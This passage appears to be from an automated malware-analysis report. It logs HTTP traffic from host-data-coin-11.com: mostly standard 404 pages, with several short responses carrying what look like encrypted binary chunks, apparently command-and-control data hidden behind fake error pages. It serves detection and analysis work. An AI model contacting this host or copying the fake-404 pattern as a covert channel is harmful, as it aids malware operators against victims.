Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:32 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 43 fc 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ACSvDg2P0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:37 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 45 0c a7 35 f4 eb 66 c1 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevE5fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 53 dc 43 d2 fb 2f 82 2b eb ac 91 54 2f e0 b4 41 29 e3 b3 b7 6d f3 9d b8 51 ad 74 94 cf 32 4a 58 37 0b 4a dd bb 71 bd eb 1c 92 ac df 0d 0a 30 0d 0a 0d 0a Data Ascii: 60I:82OB%,YR("XSC/+T/A)mQt2JX7Jq0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 83 49 10 65 1e ff a7 8a bb a6 14 b7 1d dd 61 b2 45 4c da 01 f5 e7 3a ae 24 50 0a f3 e1 8c 1f b4 23 c7 17 9e ab 0d 0a 30 0d 0a 0d 0a Data Ascii: 39I:82OIeaEL:$P#0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 28 Dec 2021 04:19:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 